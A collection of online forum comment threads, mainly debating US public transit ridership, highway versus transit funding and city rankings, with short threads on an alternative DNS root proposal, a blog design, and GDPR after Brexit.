I have interesting associations with the late 19th & early 20th centuries, the formative years of trains and cars. I associate the industry of the late 19th more with socialist symbols. The plight of the working man, Marxism (pre-Lenin and the east-west associations), early labour movements, decaying empires. Coal soot. Europe. I associate the early 20th industry with American ascension. Iconic technicolour images of manufacturing wealth pampering American housewives with vacuum cleaners and weekly trips to a beauty parlors. All the values of that time and place. A certain type of clean shaven naivety.

I can't quite put a thorough argument together, but I think the symbolism is interesting.

<comment><USER8> _But, trains involve a direct transaction that (partially) funds the facility in a user-pays way. Roads are funded by taxes. They try to use registration and petrol taxes that are related to use of roads but it 's still a tax, not a normal transaction. If you drive on a private road, you still pay petrol tax and the taxes can't be tied to use of a specific road. I'd say that's market points to the trains._

Most U.S. public mass transit could not maintain itself based on "user pays", even forgetting about capital expenditures. Unsubsidized, fares would rise, ridership would fall, and prices would then need to be still higher to compensate.

On the other hand, the gas tax and other user fees (trucking, etc.) already fund the majority of U.S. highway spending both maintenance and capital (even with 1/6 of it redirected to mass transit!), and could easily fund all of it if the political will were there. Some people would drive less if we charged 2x the gas tax or had an odometer tax, but nobody thinks the system itself would be unsustainable in the same way that most public transit would be if it had to be funded entirely by its users.

<comment><USER9> "Nationwide in 2011, highway user fees and user taxes made up just 50.4 percent of state and local expenses on roads. State and local governments spent $153.0 billion on highway, road, and street expenses but raised only $77.1 billion in user fees and user taxes ($12.7 billion in tolls and user fees, $41.2 billion in fuel taxes, and $23.2 billion in vehicle license taxes).[3] The rest was funded by $30 billion in general state and local revenues and $46 billion in federal aid (approximately $28 billion derived from the federal gasoline tax and $18 billion from general federal revenues or deficit financed)."

That a direct quote from here: [http://taxfoundation.org/article/gasoline- taxes-and-user-fee...](http://taxfoundation.org/article/gasoline-taxes-and- user-fees-pay-only-half-state-local-road-spending)

Which cites its source as the, "U.S. Census Bureau, State and Local Government Finance 2011."

<comment><USER8> I was careful to say "highway system", by which I meant the IHS. Yes, local governments fund local roads out of property and other local taxes, but a) Everyone depends on their own local roads, even if they never drive, walk or bike on them, not so mass transit b) Local gas taxes are hard to make work because it's possible and tempting for gas stations to locate in the lowest taxed locality.

Even so, your own link says 50% of state and local roads are funded with user fees. The IHS number is around 70%, even with 1/6 of the gas tax redirected to public transit. If you doubled the user fees and eliminated all other sources of funding, the IHS and the state/local road system would still thrive. Not so most public transit.

</comment></comment></comment></comment></comment><comment><USER10> There is a lot more interesting data in the NTD that I wish someone with more programming skills than me could put together in a graphical way. For instance, you can calculate the amount of CO2 emitted per passenger and per passenger mile. You can calculate the subsidy per rider and per passenger mile. You can even determine the average utilization of the system by checking the average number of riders on each bus.

From doing some of that work manually, I found that many (if not most) public transit systems are emitting more CO2 than if all of the passengers had ridden in a car, with the national average of 1.7 riders per car.

</comment><comment><USER11> I live in the 50th largest city in the US and we have zero public transportation. Yet we are the sports and entertainment center of the DFW metroplex including the Dallas Cowboys spaceship stadium.

</comment><comment><USER12> I am surprised that Chicago is not stacked higher. I was under impression we here have one of the better transit systems, compared to others in the US.

<comment><USER13> it's quite good within the city limits, but it drops off very quickly when the suburbs are included. These numbers included the suburbs.

<comment><USER14> That being the case, you'd assume that SFBA would plummet down the list, since public transportation on the peninsula is atrocious.

</comment></comment></comment><comment><USER15> If you remove buses from the equation, I believe the US transit system would like considerably worse.

</comment><comment><USER16> Seemed like he stopped at a visualization of the data, without any real interpretation.

I'd like to see some information on the density of the areas. For example, Chicago is listed as the metro region (8 million people) when the city itself only has about 3 million, and public transport hardly exists outside the city.

If the total rides had been divided by the city population, it would equal much closer to 200 rides per capita.

<comment><USER13> Good point - I found this a confusing analysis without digging much into what it was saying - Urbana and Athens were high on the list...why? Do they have public bus systems that students use extensively? If so, that would tend to give a false impression of how much public transit is used there. I liked that he later pulled apart the small and large cities, but it would have been nice to understand what the data was saying in the context of the cities it examined.

Your point on Chicago is well taken - I was surprised to see SF/Oak ahead of it, as they "feel" harder to navigate with transit only, but I was forgetting that the suburbs are included in Chicago, which is basically impossible once you leave the city limits.

<comment><USER17> Yes, college towns often have great public transit usage because students ride for free, the school pays the local agency or runs their own vehicles, and you have a lot of young people without cars.

Ann Arbor, MI (#20) is a great example where University of Michigan runs a fleet of buses that puts many small cities' systems to shame. Lafayette, IN (#30) is partially supported by serving Purdue University. Bloomington, IN (#40) has two bus systems - the city's, and Indiana University's. (Disclaimer: these are all customers of DoubleMap.)

Not sure why you think it would be a false impression - public transit _is_ used a lot in college towns.

<comment><USER18> State College, PA is where Penn State University is located. Even if you drive to the university as a student you still need to take a bus to get to class. That makes around 45,000 students using public transportation everyday.

</comment></comment></comment></comment><comment><USER19> DC's subway system is awesome, for a city of its size.

</comment><comment><USER20> The only thing I learned from the article is that NY has a really popular subway. Duh.

My question is: Why is SF's public transit so popular? It can't be because of the quality. LA is a much bigger city, why isn't public transit more popular there?

<comment><USER21> Maybe because SF is denser?

<comment><USER22> Yes, and part of that is the area used. The SF-Oakland area used for aggregation contains 3.3M people. The LA area contains 12.3M.</comment></comment></comment>


Peter Sunde to setup alt root server to compete with ICANN - <AUTHOR> http://twitter.com/brokep/status/8779363872935936 <comment><USER2> But it gets more interesting. He adds:

"goal is p2p dns, not root-servers. We need root-servers for transition fast."

<http://twitter.com/brokep/status/8857561784651777></comment>


Track users' time spent on each blog post using Google Reader-inspired design - <AUTHOR> http://coding.pressbin.com/26/Create-a-Google-Reader-knockoff-using-Javascript/

<comment><USER2> I've always loved how google reader presents their content. There's something about seeing articles appear below you that always causes me to want to read just one more.

</comment><comment><USER3> I'd love to read your article on your great new blog design, but your blog won't scroll on my phone, so I cannot. Alas.

<comment><AUTHOR> Hi, I'm the blog owner.

I whipped up a quick fix, so you should now be able to read the article.</comment></comment>


UK Google users could lose EU GDPR data protections - <AUTHOR> https://www.theguardian.com/technology/2020/feb/20/uk-google-users-to-lose-eu-gdpr-data-protections-brexit <comment><USER2> In amongst all the Brexit stuff, I hadn't really thought about losing GDPR. This is worrying.</comment>